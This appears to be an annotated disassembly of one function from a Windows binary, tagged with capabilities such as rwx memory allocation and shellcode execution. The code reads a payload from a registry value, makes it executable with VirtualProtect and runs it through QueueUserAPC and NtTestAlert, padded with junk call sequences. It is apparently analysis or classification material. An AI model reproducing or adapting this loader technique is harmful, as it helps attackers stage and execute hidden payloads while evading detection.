Function at 0x1400014f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query or enumerate registry value

Disassembly:
sub rsp, 0x88
call fcn.140001130
test eax, eax
je 0x140001505
call fcn.140001090
call section..text
test eax, eax
je 0x140001513
call fcn.1400011d0
call fcn.140001090
test eax, eax
je 0x140001521
call fcn.140001130
call fcn.1400011d0
test eax, eax
je 0x14000152f
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x14000153d
call section..text
call fcn.140001130
test eax, eax
je 0x14000154b
call fcn.1400011d0
call fcn.1400011d0
test eax, eax
je 0x140001559
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140001567
call section..text
call fcn.140001270
test eax, eax
je 0x140001575
call fcn.140001310
call fcn.140001310
test eax, eax
je 0x140001583
call fcn.1400013b0
call fcn.1400013b0
test eax, eax
je 0x140001591
call fcn.140001450
call fcn.140001450
test eax, eax
je 0x14000159f
call fcn.140001270
call section..text
test eax, eax
je 0x1400015ad
call fcn.140001270
call fcn.140001090
test eax, eax
je 0x1400015bb
call fcn.140001310
call fcn.140001130
test eax, eax
je 0x1400015c9
call fcn.1400013b0
call fcn.1400011d0
test eax, eax
je 0x1400015d7
call fcn.140001450
call fcn.1400011d0
test eax, eax
je 0x1400015e5
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x1400015f3
call fcn.140001130
call fcn.140001130
test eax, eax
je 0x140001601
call section..text
call section..text
test eax, eax
je 0x14000160f
call fcn.140001090
call fcn.140001130
test eax, eax
je 0x14000161d
call fcn.140001090
call section..text
test eax, eax
je 0x14000162b
call fcn.1400011d0
call fcn.140001090
test eax, eax
je 0x140001639
call fcn.140001130
call fcn.1400011d0
test eax, eax
je 0x140001647
call fcn.140001090
call fcn.140001270
test eax, eax
je 0x140001655
call fcn.140001310
call fcn.140001310
test eax, eax
je 0x140001663
call fcn.1400013b0
call fcn.1400013b0
test eax, eax
je 0x140001671
call fcn.140001450
call fcn.140001450
test eax, eax
je 0x14000167f
call fcn.140001270
call fcn.140001090
test eax, eax
je 0x14000168d
call fcn.140001310
call fcn.140001130
test eax, eax
je 0x14000169b
call fcn.1400013b0
call fcn.1400011d0
test eax, eax
je 0x1400016a9
call fcn.140001450
call fcn.140001270
test eax, eax
je 0x1400016b7
call section..text
mov dword [rsp + 0x4c], 0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [0x1400186c8]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1400186d8]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [rsp + 0x48]
mov ecx, eax
call fcn.14000239c
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1400186f8]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [rsp + 0x48]
mov ecx, eax
call fcn.14000239c
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 0
jmp 0x14000179c
mov rax, qword [rsp + 0x60]
inc rax
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x48]
cmp qword [rsp + 0x60], rax
jae 0x1400017ce
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x50]
add rdx, rcx
mov rcx, rdx
movzx ecx, byte [rcx]
mov byte [rax], cl
jmp 0x14000178f
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x4c], eax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call section..text
test eax, eax
je 0x1400017fa
call fcn.140001130
call fcn.1400011d0
test eax, eax
je 0x140001808
call section..text
call section..text
test eax, eax
je 0x140001816
call fcn.1400011d0
call fcn.140001130
test eax, eax
je 0x140001824
call fcn.1400011d0
call fcn.1400011d0
test eax, eax
je 0x140001832
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140001840
call fcn.140001130
call fcn.140001130
test eax, eax
je 0x14000184e
call section..text
call section..text
test eax, eax
je 0x14000185c
call fcn.140001090
call fcn.140001270
test eax, eax
je 0x14000186a
call fcn.140001310
call fcn.140001310
test eax, eax
je 0x140001878
call fcn.1400013b0
call fcn.1400013b0
test eax, eax
je 0x140001886
call fcn.140001450
call fcn.140001450
test eax, eax
je 0x140001894
call fcn.140001270
call fcn.140001090
test eax, eax
je 0x1400018a2
call fcn.140001310
call fcn.140001130
test eax, eax
je 0x1400018b0
call fcn.1400013b0
call fcn.1400011d0
test eax, eax
je 0x1400018be
call fcn.140001450
call fcn.140001270
test eax, eax
je 0x1400018cc
call section..text
call fcn.140001090
test eax, eax
je 0x1400018da
call section..text
call fcn.140001130
test eax, eax
je 0x1400018e8
call fcn.1400011d0
call fcn.1400011d0
test eax, eax
je 0x1400018f6
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140001904
call section..text
call section..text
test eax, eax
je 0x140001912
call fcn.140001130
call fcn.1400011d0
test eax, eax
je 0x140001920
call section..text
call section..text
test eax, eax
je 0x14000192e
call fcn.1400011d0
call fcn.140001130
test eax, eax
je 0x14000193c
call fcn.1400011d0
call fcn.140001270
test eax, eax
je 0x14000194a
call fcn.140001310
call fcn.140001310
test eax, eax
je 0x140001958
call fcn.1400013b0
call fcn.1400013b0
test eax, eax
je 0x140001966
call fcn.140001450
call fcn.140001450
test eax, eax
je 0x140001974
call fcn.140001270
call section..text
test eax, eax
je 0x140001982
call fcn.1400013b0
call fcn.140001090
test eax, eax
je 0x140001990
call fcn.140001450
call fcn.140001130
test eax, eax
je 0x14000199e
call fcn.140001270
call fcn.1400011d0
test eax, eax
je 0x1400019ac
call fcn.140001310
mov eax, dword [rsp + 0x4c]
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtTestAlert
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call qword [rsp + 0x40]
add rsp, 0x88
ret